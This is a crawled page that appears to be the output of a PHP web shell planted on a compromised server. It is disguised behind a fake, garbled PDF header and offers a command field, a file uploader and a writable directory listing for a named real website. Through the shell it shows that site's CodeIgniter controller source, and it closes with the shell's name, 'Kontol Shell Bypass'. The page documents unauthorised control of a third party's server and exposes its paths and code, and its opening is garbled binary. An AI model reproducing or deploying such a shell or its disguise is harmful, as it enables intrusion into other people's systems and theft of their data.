%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/new-ugenterprises.com/blog/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/new-ugenterprises.com/blog/application/controllers/Home.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Home extends CI_Controller {
	function __construct(){
		parent::__construct();
		$this->load->model(array('Home_Model','Public_model'));
	}
	public function index($page=0)
	{
		$data = array();
		$header = array();
		
        $header['applyNow'] = $this->Public_model->getValueStore('applyNow');

		// Get All category list
		$data['categoryList'] = $this->Home_Model->getAllCategoryList();	
		
		// Get All tagList
		$data['tagList'] = $this->Home_Model->getAllTagList();		
		
		//All Events
		$recordsArray = $this->Home_Model->getAllEventsRecords();	
		$resultsArray = array();
		foreach($recordsArray as $row)
		{	
			if($row['status']=='1')
			{
				$resultsArray['status'][] = $row; 
			}
		}

		$recordsPopularArray = $this->Home_Model->getAllPopularBlogRecords();	
		$resultsPopArray = array();
		foreach($recordsPopularArray as $row)
		{	
			$resultsPopArray['status'][] = $row; 
		}
		$data['resultsPopArray'] = $resultsPopArray;
		
		$this->load->library('pagination');
		$config                 = array();
		$config["base_url"]     = base_url('home');
		$config["total_rows"]   = count($resultsArray['status']);
		$config["per_page"]     = 10;
		$config['uri_segment']  = 2;
		$this->pagination->initialize($config);
		$page = $page=='' ? 0 : $page;
		$recordsArray = $this->Home_Model->getAllEventsRecords(NULL, NULL,$config["per_page"], $page);	
		
		$respArray = array();
		foreach($recordsArray as $row)
		{	
			if($row['status']=='1')
			{
				$respArray['status'][] = $row; 
			}
		}
		$data['recordArray'] = $respArray;
		
		$data['tagArray'] = $this->Home_Model->getAllModuleList('tbl_blog_tags','id,tag_name,display_name', array('status'=>'1'));

		// Get Category 
		$data['categoryArray'] = $this->Home_Model->getAllModuleList('tbl_blog_category','id,category_name,display_name', array('status'=>'1'));
		 
		// Get Latest six post

		$data['bannerArray'] = $this->Home_Model->getAllEventsBannerRecords(NULL, NULL,'6', '0','1');
		
		//Get Custom SEO
		$seoArray = getCustomSeo('home');
		
		$header['title'] = $seoArray->title!=''?$seoArray->title:'Sharda World School Blogs';
		$header['keywords'] = $seoArray->keywords!=''?$seoArray->keywords:'Sharda World School Blogs';
		$header['description'] = $seoArray->description!=''?$seoArray->description:'Sharda World School Blogs';
		
		$this->load->view('_parts/header', $header);
		$this->load->view('home',$data);
		$this->load->view('_parts/footer');
	}

	/*
	* Function : getSearchEventsList
	*/
	public function getSearchEventsList()
	{
		$keyword = @$_POST['keyword']=='' ? 'Comm' : @$_POST['keyword']; 
		
		if(!empty($keyword)){
			$params = array('blog_title'=>$keyword);
			$results = $this->Home_Model->getAllEventsRecords(NULL, $params);	  
			$response =array();
			if(!empty($results)) {
				foreach($results as $row) { 
				$response[] = $row["blog_title"];
				 }
			}
			echo  json_encode($response);
		}
		exit();
	}
	
	/*
	* Function : sitemap_xml
	*/
	
	 public function sitemap_xml() 
     {
        header("Content-Type:text/xml");
        echo '<?xml version="1.0" encoding="UTF-8"?>
                <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
				
					echo '<url>
					<loc>'.base_url().'</loc>
					<changefreq>daily</changefreq>
					<lastmod>'.date('Y-m-d').'T13:41:36+01:00</lastmod>
					<priority>1.0</priority>
					</url>';
					echo '<url>
					<loc>'.base_url("contact").'</loc>
					<changefreq>daily</changefreq>
					<lastmod>'.date('Y-m-d').'T13:41:36+01:00</lastmod>
					<priority>1.0</priority>
					</url>';
					
					//All Events
					$recordsArray = $this->Home_Model->getAllEventsRecords();	
					foreach ($recordsArray as $row) {
						echo '<url>
							<loc>' . base_url($row["blog_slug"]) . '</loc>
							<changefreq>daily</changefreq>
							<lastmod>'.date('Y-m-d').'T13:41:36+01:00</lastmod>
							<priority>0.8</priority>
							</url>';
					} 
					
					$categoryList = $this->Home_Model->getAllCategorySlugs();
				
					foreach ($categoryList as $row) {
						echo '<url>
							<loc>' . base_url('category/'.$row["slug"]) . '</loc>
							<changefreq>daily</changefreq>
							<lastmod>'.date('Y-m-d').'T13:41:36+01:00</lastmod>
							<priority>0.6</priority>
							</url>';
					} 
					// Get All tagList
					$tagList = $this->Home_Model->getAllTagSlugList();		
					foreach ($tagList as $row) {
						echo '<url>
							<loc>' . base_url('tag/'.$row["slug"]) . '</loc>
							<changefreq>daily</changefreq>
							<lastmod>'.date('Y-m-d').'T13:41:36+01:00</lastmod>
							<priority>0.6</priority>
							</url>';
					} 
        echo '</urlset>';
    }
	
}	

Kontol Shell Bypass